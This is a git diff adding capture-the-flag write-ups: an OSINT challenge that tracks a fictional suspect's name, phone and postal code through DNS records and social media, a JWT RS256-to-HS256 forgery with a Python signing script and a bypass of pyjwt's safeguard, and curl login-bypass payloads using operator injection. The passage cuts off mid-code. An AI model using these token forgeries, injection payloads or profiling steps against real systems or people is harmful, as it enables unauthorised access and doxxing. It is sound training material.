mode 100644 index 0000000..952fd7c Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/14.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/15.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/15.png new file mode 100644 index 0000000..bf621a1 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/15.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/16.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/16.png new file mode 100644 index 0000000..639d3c3 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/16.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/17.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/17.png new file mode 100644 index 0000000..239855d Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/17.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/18.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/18.png new file mode 100644 index 0000000..9e6a629 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/18.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/18edited.afphoto b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/18edited.afphoto new file mode 100644 index 0000000..877062e Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/18edited.afphoto differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/18edited.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/18edited.png new file mode 100644 index 0000000..956fe51 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/18edited.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/19.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/19.png new file mode 100644 index 0000000..76d076e Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/19.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/2.afphoto b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/2.afphoto new file mode 100644 index 0000000..a33a9bb Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/2.afphoto differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/2.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/2.png new file mode 100644 index 0000000..0b82236 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/2.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/20.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/20.png new file mode 100644 index 0000000..8d2088e Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/20.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/21.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/21.png new file mode 100644 index 0000000..adb7a23 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/21.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/22.afphoto b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/22.afphoto new file mode 100644 index 0000000..cc35add Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/22.afphoto differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/22.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/22.png new file mode 100644 index 0000000..e959b1c Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/22.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/23.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/23.png new file mode 100644 index 0000000..3ffb116 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/23.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/24.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/24.png new file mode 100644 index 0000000..79e3ab5 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/24.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/24edited.afphoto b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/24edited.afphoto new file mode 100644 index 0000000..ee4d9ce Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/24edited.afphoto differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/24edited.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/24edited.png new file mode 100644 index 0000000..026de98 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/24edited.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/25.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/25.png new file mode 100644 index 0000000..642e6d8 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/25.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/26.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/26.png new file mode 100644 index 0000000..9f46264 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/26.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/26annotated.afphoto b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/26annotated.afphoto new file mode 100644 index 0000000..076d332 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/26annotated.afphoto differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/26annotated.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/26annotated.png new file mode 100644 index 0000000..8fa4ced Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/26annotated.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/27.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/27.png new file mode 100644 index 0000000..6335a2e Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/27.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/28.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/28.png new file mode 100644 index 0000000..4421c17 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/28.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/29.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/29.png new file mode 100644 index 0000000..e7cfa05 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/29.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/3.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/3.png new file mode 100644 index 0000000..56c3857 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/3.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/30.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/30.png new file mode 100644 index 0000000..eb2cdb1 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/30.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/30edited.afphoto b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/30edited.afphoto new file mode 100644 index 0000000..683bd8b Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/30edited.afphoto differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/30edited.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/30edited.png new file mode 100644 index 0000000..88bbe92 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/30edited.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/31.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/31.png new file mode 100644 index 0000000..55e4059 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/31.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/32.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/32.png new file mode 100644 index 0000000..ea86190 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/32.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/4.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/4.png new file mode 100644 index 0000000..97f5964 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/4.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/5.afphoto b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/5.afphoto new file mode 100644 index 0000000..909aa3a Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/5.afphoto differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/5.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/5.png new file mode 100644 index 0000000..529fa5a Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/5.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/6.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/6.png new file mode 100644 index 0000000..0c96641 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/6.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/7.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/7.png new file mode 100644 index 0000000..792f381 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/7.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/8.afphoto b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/8.afphoto new file mode 100644 index 0000000..93c52dd Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/8.afphoto differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/8.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/8.png new file mode 100644 index 0000000..cd20574 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/8.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/9.afphoto b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/9.afphoto new file mode 100644 index 0000000..40939e4 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/9.afphoto differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/9.png b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/9.png new file mode 100644 index 0000000..79e6f6c Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/7. Sounds of freedom!/images/9.png differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/1.jpg b/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/1.jpg new file mode 100644 index 0000000..ef0dcb1 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/1.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/2.jpg b/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/2.jpg new file mode 100644 index 0000000..63f2f63 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/2.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/3.jpg b/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/3.jpg new file mode 100644 index 0000000..8137550 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/3.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/4.jpg b/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/4.jpg new file mode 100644 index 0000000..dca3717 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/4.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/5.jpg b/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/5.jpg new file mode 100644 index 0000000..cee6547 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/5.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/6.jpg b/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/6.jpg new file mode 100644 index 0000000..df92669 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/6.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/7.jpg b/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/7.jpg new file mode 100644 index 0000000..b559f0e Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/7.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/8.jpg b/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/8.jpg new file mode 100644 index 0000000..8e90ff3 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/8.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/README.md b/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/README.md new file mode 100644 index 0000000..7ce7066 --- /dev/null +++ b/STACK the Flags 2020/Mitsuha/OSINT/8. Hunt Him Down!/README.md @@ -0,0 +1,153 @@ +# Hunt him down! 970 Points - 14 Solves (Cat3) + +``` +After solving the past two incidents, COViD sent a death threat via email today. Can you help us investigate the origins of the email and identify the suspect that is working for COViD? We will need as much information as possible so that we can perform our arrest! + +Please view this Document for download instructions. + +Example Flag: govtech-csg{JohnLeeHaoHao-123456789-888888} + +Flag Format: govtech-csg{fullname-phone number[9digits]-residential postal code[6digits]} +``` + +So basically, we need to look for the follow information: + +- **Full** Name +- **His/Her Phone No.** +- **His/Her Postal Code** + + + +## First Steps + +We are given a `.eml` file which when opened, has the following contents: + +``` +X-Pm-Origin: internal +X-Pm-Content-Encryption: end-to-end +Subject: YOU ARE WARNED! +From: theOne +Date: Fri, 4 Dec 2020 21:27:07 +0800 +Mime-Version: 1.0 +Content-Type: multipart/mixed;boundary=---------------------9d9b7a65470a533c33537323d475531b +To: cyberdefenders@panjang.cdg + +-----------------------9d9b7a65470a533c33537323d475531b +Content-Type: multipart/related;boundary=---------------------618fd3b1e5dbb594048e34eeb9e9fcdb + +-----------------------618fd3b1e5dbb594048e34eeb9e9fcdb +Content-Type: text/html;charset=utf-8 +Content-Transfer-Encoding: base64 + +PGRpdj5USEVSRSBXSUxMIEJFIE5PIFNFQ09ORCBDSEFOQ0UuIEJFIFBSRVBBUkVELjwvZGl2Pg== (Decoded: THERE WILL BE NO SECOND CHANCE. BE PREPARED.) +-----------------------618fd3b1e5dbb594048e34eeb9e9fcdb-- +-----------------------9d9b7a65470a533c33537323d475531b-- +``` + +Now that's really little info to work with... there is no IP, only some domains, let's see if we can get anything from the domains `c0v1d.cf` and `panjang.cdg` (*P.S We also tried emailing both emails... but I guess emailing terrorists isn't exactly a safe thing to do but thankfully we didn't receive any death threats*) + +Now when we looked up **all the DNS records** for `c0v1d.cf` we see: + +``` +A +Type Domain Name Address TTL +A c0v1d.cf 127.0.0.1 299 +AAAA +Sorry no record found! +CNAME +Sorry no record found! +MX +Sorry no record found! +NS +Type Domain Name NS TTL +NS c0v1d.cf ns03.freenom.com 299 +NS c0v1d.cf ns01.freenom.com 299 +NS c0v1d.cf ns02.freenom.com 299 +NS c0v1d.cf ns04.freenom.com 299 +PTR +Sorry no record found! +SRV +Sorry no record found! +SOA +Type Domain Name Primary NS Responsible Email TTL +SOA c0v1d.cf ns01.freenom.com soa.freenom.com 299 +TXT +Type Domain Name Record TTL +TXT c0v1d.cf user=lionelcxy contact=lionelcheng@protonmail.com 3308 +``` + +Now... that **TXT record** seems especially promising, we now have a **username and email lead** (*`panjang.cdg` did not seem to exist as a domain*) + +Let's give this username to my best buddy **sherlock** to check for social media accounts! + +``` +python3 sherlock/ lionelcxy +[*] Checking username lionelcxy on: +[+] 500px: https://500px.com/p/lionelcxy +[+] ICQ: https://icq.im/lionelcxy +[+] Instagram: https://www.instagram.com/lionelcxy +[+] Telegram: https://t.me/lionelcxy +[+] Travellerspoint: https://www.travellerspoint.com/users/lionelcxy +[+] Twitter: https://mobile.twitter.com/lionelcxy +``` + +Now only the **Instagram** and **Twitter** accounts seem to be related to the terrorist we are searching for. + +## Finding his Phone Number + +On the **Twitter** account, we find a **Carousell Post** for a **PS1** (*wowzies, can I actually buy it?*) + +![](2.jpg) + +Following the Carousell link, we find the **9 digit phone number** we are after (`963672918`) + +![](3.jpg) + + + +## Finding his Postal Code + +Alright! We got 1 piece of the puzzle, let's move on to **Instagram**. + +![](4.jpg) + +What's this? From the latest post, he is suggesting that he lives **somewhere near Lau Pa Sat** as it is captioned `Food food. Just minutes away!`, and the **Strava Post seems to confirm this as well as he went running around the Marina Bay area** + +![](5.jpg) + +![](6.jpg) + +Now... there is a [link](https://www.strava.com/athletes/70911754) on the **strava post** to his **strava account**, let's check it out! + +At this point we also made a throw-away account on Strava as you need to be **logged into see his posts**, and we are greeted with **more sweet juicy information!** + +![](7.jpg) + +So... this is the post that was on Instagram, what about the other post? + +![](8.jpg) + +Chotto Matte!!! `Social Space... just at my block`!? I think we just found where he lives :smile:! + +A quick Google Maps search reveals only **1** `Social Space` cafe that is **located within a few minutes walking distance** of Lau Pa Sat... at **Marina One Residences (Garden Tower)** with the postal code `018935`. Bingo! Just his full name left. + + + +## Finding his Full Name + +We went onto google and googled `lionelcheng@protonmail.com` which gave a LinkedIn page matching the email exactly... and the terrorist's **full name!** + +![](1.jpg) + +**Cheng Xiang Yi**, we are coming for you! :smile: + +Therefore, piecing the information we gathered so far together, we get: (**Note:** It is English name followed by the full chinese name as stated in the description of the challenge) + +``` +govtech-csg{LionelChengXiangYi-963672918-018935} +``` + +and there we have it! Govtech better be sending a SWAT team over now, our terrorist seems pretty rich and powerful. + + + diff --git a/STACK the Flags 2020/Mitsuha/Web/1. Unlock Me/1.jpg b/STACK the Flags 2020/Mitsuha/Web/1. Unlock Me/1.jpg new file mode 100644 index 0000000..a9b14ad Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Web/1. Unlock Me/1.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/Web/1. Unlock Me/2.jpg b/STACK the Flags 2020/Mitsuha/Web/1. Unlock Me/2.jpg new file mode 100644 index 0000000..49f66c8 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Web/1. Unlock Me/2.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/Web/1. Unlock Me/3.jpg b/STACK the Flags 2020/Mitsuha/Web/1. Unlock Me/3.jpg new file mode 100644 index 0000000..20b60b3 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Web/1. Unlock Me/3.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/Web/1. Unlock Me/README.md b/STACK the Flags 2020/Mitsuha/Web/1. Unlock Me/README.md new file mode 100644 index 0000000..a83da89 --- /dev/null +++ b/STACK the Flags 2020/Mitsuha/Web/1. Unlock Me/README.md @@ -0,0 +1,156 @@ +# Unlock Me (905 Points) - 22 Solves (Cat 3) + +``` +Our agents discovered COViD's admin panel! They also stole the credentials minion:banana, but it seems that the user isn't allowed in. Can you find another way? + +Admin Panel (http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41031/) +``` + + + +## First Analysis + +When we visit the site, we are greeted a login page. However, when we try to key in the credentials `minion:banana` to login, we get a message `Only admins are allowed into HQ!` + +![1.jpg](1.jpg) + +Let's take a look at the `Page Source` javascript to see what exactly is going on: + +```javascript +$( "#signinForm" ).submit(function( event ) { + event.preventDefault(); + fetch("login", { + method: "POST", + headers: { + "Content-Type": "application/json" + }, + body: JSON.stringify({"username": $( "#inputUsername" ).first().val(), "password": $( "#inputPassword" ).first().val() }) + }).then(function(response) { + return response.json(); + }).then(function(data) { + if (data.error) { + $('#alerts').html(''); + } else { + fetch("unlock", { + headers: { + "Authorization": "Bearer " + data.accessToken + } + }).then(function(response) { + return response.json(); + }).then(function(data) { + if (data.error) { + $('#alerts').html(''); + } else { + $('#alerts').html(''); + } + }).catch(function(error) { + $('#alerts').html(''); + }) + } + }).catch(function(error) { + $('#alerts').html(''); + }) +}); +// TODO: Add client-side verification using public.pem +``` + +So what the page is basically doing is: + +1. Sends a POST request to the `login` with the credentials when the form is submitted +2. Gets the response, and then sends an `accessToken` to another `unlock` endpoint via GET +3. If the response `data.error` is false, then we will be given the flag (`data.flag`) + + + +Looking at the response for step 2 in `Network` of Chrome Developer Tools: + +```json +{error: "Only admins are allowed into HQ!"} +``` + +Hmmm, so it seems like the `accessToken` we are getting is... invalid? Let's take a look at it: + +```json +{accessToken: "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1pbmlvbiIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjA3NDMxMjY5fQ.QU38nbgiNtZdAgdzN5nqGmrqRt4QrkwKOLVXq27bOBX8zg7xFl09oM55qvZjD0sEOaQybiEauujlGH8mFKVvX-jcq1qSd8Z_MZkmi7T8VKFke8SFoxqhuNAo7d34md18p8jzHb4_7rdit5JOPjRvv0h5BikECqWuOWT2M07LDti7FNPitWkLd1Iv1UxnyC5ODfa5tCRyuj6rzH3oz7xdln2VBjftlwy9ZO1h-u8dY9kvMLdB6pEg2abM9-B7iopqHlRB93ceoKEgBFIihmwnGmlCat783_Iy5ibD1K0pmIMdHIf5ymoBfP5K8gGj7_seRI_XicvWT3bDW0XuKTAoO4_KPoKgAp7FJ3EhOoIBqeTkVmPygWssxcmderIuXBsnW3OCBnsDAyGANienUiQGjGGN00yGEcnCMk2v2HYGGfhCcRC5bhrmYCR_CDiVD2TvadQSngd8rrIh6EaDmyZ6w_DF7QG56-wuFIJLP99icUT_WZl82vuiN2cn4jbLCA4OihbZX-Kak0u5WzJ1l9VjuC94vITEJXypesOxgG_1rVUQr-IWRKRxTYw4QuqEJ2dlBW9WLgwHCYCPNe5_RUcrnY18azP1m4kt_g4RTI-NXcMBv_-ahwgepFuPSEC5Wx_EjFjRQj1_keilS6QA0mZt6w-pmVlN3enMJ-SLRek9tmk"} +``` + +Now, that looks oddly like a **JWT (JSON Web Token)**! + +Let's put it into `jwt.io` to look at its contents: + +![](2.jpg) + +Aha! It seems like in the token, our role is only a `user`, but as we know **only admins can login**. + +## + +## Exploiting the JWT + +Now we can easily change the role value to "admin", but we will have to **resign the token(AccessCode) with a new signature** if not it will be invalid. *How will we do that?* + +When we relook at the page source, we noticed this HTML comment: + +```html +// TODO: Add client-side verification using public.pem +``` + +Visiting the path `/public.pem` gives us a download of a public key. + +Could it be the [RS256 => HS256 algorithm](https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6) exploit? The **public key is necessary for this exploit to work**. + +This exploit works by converting the algorithm used by the token from `RS256` to `HS256`. + +- RS256 is an **asymmetric algorithm**, which means that it uses a **private key** to **sign the signature**, and a **public key** to **verify the signature (for authentication)**. +- HS256 is a **symmetric algorithm**, which means that it uses the **same secret/key** to **sign and verify the signature** +- **If the backend accepts both HS256 AND RS256** as the algorithms accepted, when we change the algorithm from RS256 to HS256, the **backend treats the known public key as the secret/key for HS256**. +- Hence, we can **modify the token** and **sign it using the public key** for the **backend to accept the token using the HS256 algorithm**. + + + +Therefore, let's first modify the payload to what we want: + +```json +{ + "username": "minion", + "role": "admin", + "iat": 1607431269 +} +``` + +We can then script a quick python script using the `pyjwt` library to sign our modified token: + +```python +import jwt +encoded = jwt.encode({ + "username": "minion", + "role": "admin", + "iat": 1607431269 +}, open("public.pem").read(), algorithm='HS256') +print(encoded) +``` + +**Note:** The Pyjwt library will try to stop you in order to protect the user, so you will have to modify the `\lib\site-packages\jwt\algorithms.py` file by commenting the following lines: (*line 150*) + +```python +if any([string_value in key for string_value in invalid_strings]): + raise InvalidKeyError( + 'The specified key is an asymmetric key or x509 certificate and' + ' should not be used as an HMAC secret.') +``` + +and we will get our modified JWT :smile:: + +``` +eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Im1pbmlvbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTYwNzQzMTI2OX0.5cEY1Z0ZIu9zUokJEyiyiKPbmTb7jU49vCzzhnI8Pe0 +``` + +Sending this to the `unlock` endpoint (with `GET`) with the header `Authorization: Bearer + `: + +![](3.jpg) + +Bingo! Hence we get the flag: + +``` +govtech-csg{5!gN_0F_+h3_T!m3S} +``` + diff --git a/STACK the Flags 2020/Mitsuha/Web/2. Logged In/README.md b/STACK the Flags 2020/Mitsuha/Web/2. Logged In/README.md new file mode 100644 index 0000000..bdfab90 --- /dev/null +++ b/STACK the Flags 2020/Mitsuha/Web/2. Logged In/README.md @@ -0,0 +1,149 @@ +# Logged In +*It looks like COViD's mobile application is connecting to this API! Fortunately, our agents stole part of the source code. Can you find a way to log in?* + +*[API Server](http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41061/)* + +## Solution 1 (Web) (Unintended?) +### Analysing the Challenge +1. We are given the source of the challenge, and unzipping it to take a look we can find that inside contains a partial source for the API Server. +2. Looking at the handlers and middlewares of the program, we notice that there is validator which checks for the presence of the username and password field. +![](image0.png) +3. In helpers, there is a password generator (`generatePassword.js`) and a login checker (`initLocalStrategy.js`) that checks the password which is stored in a sequalise ORM-wrapped MariaDB server, in which the `username` field is passed in directly (this is crucial to the attack) +![](image1.png) +![](image2.png) +4. After inspecting the main program (`app.js`), we do realise that the server accepts JSON data input as a payload. +5. Hence, we could conclude that the injection vector would be to perform a SQL injection by taking advantage of the JSON payload and parsing by the server. + +### The Attack +- To know which endpoint we are going to check out, we look in the routes folder and the `api.js` file. +- The endpoint is named `/api/login`, and passes through the middlewares as described above. +- We also take note of the username required to pass the check to obtain the password, in this case is `gru_felonius`. +- We simply need to craft a malicious payload and submit it to the server via a POST request. +- Command: `curl -X POST http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41061/api/login -H "Content-Type: application/json" -d '{"username": "gru_felonius", "password": {"$gt": 0}}'` + +(Do note the injection of an object payload to compare the password in order to obtain the "hashed" password of `gru_felonius` from the database) + +### Flag! +```govtech-csg{m!sS1nG_cR3DeN+!@1s}``` + +## Solution 2 (Web) +### Look again! +- Upon getting the flag for the challenge, looking at the flag we see that our solution was unintended (the intended solution was linked to missing credentials) +- So what if we tried the request again but this time with a blank username and password? + +### Volia! +- Submit the request again using the command: `curl -X POST http://yhi8bpzolrog3yw17fe0wlwrnwllnhic.alttablabs.sg:41061/api/login -H "Content-Type: application/json" -d '{"username": "", "password": ""}'` +- It works! + +**Hmmm... why does it work?** + +- Let's look at the source code again, we know that the login endpoint is `/api/login` from above, and it checks for the existence of the `username` and `password` fields in several areas (such as `req.body`, `req.headers`) + +- This information is then passed onto many callback functions including a `localAuthenticator` callback function: + +- ```javascript + //api.js + + router.post('/login', loginValidator, sendValidationErrors, localAuthenticator, function (req, res) { + res.json({ "flagOne": process.env.FLAG_ONE, "encryptedFlagTwo": encryptFlag(process.env.FLAG_TWO) }) + }); + ``` + +- Looking at `localAuthenticator`: + +```javascript +//authenticator.js + +var passport = 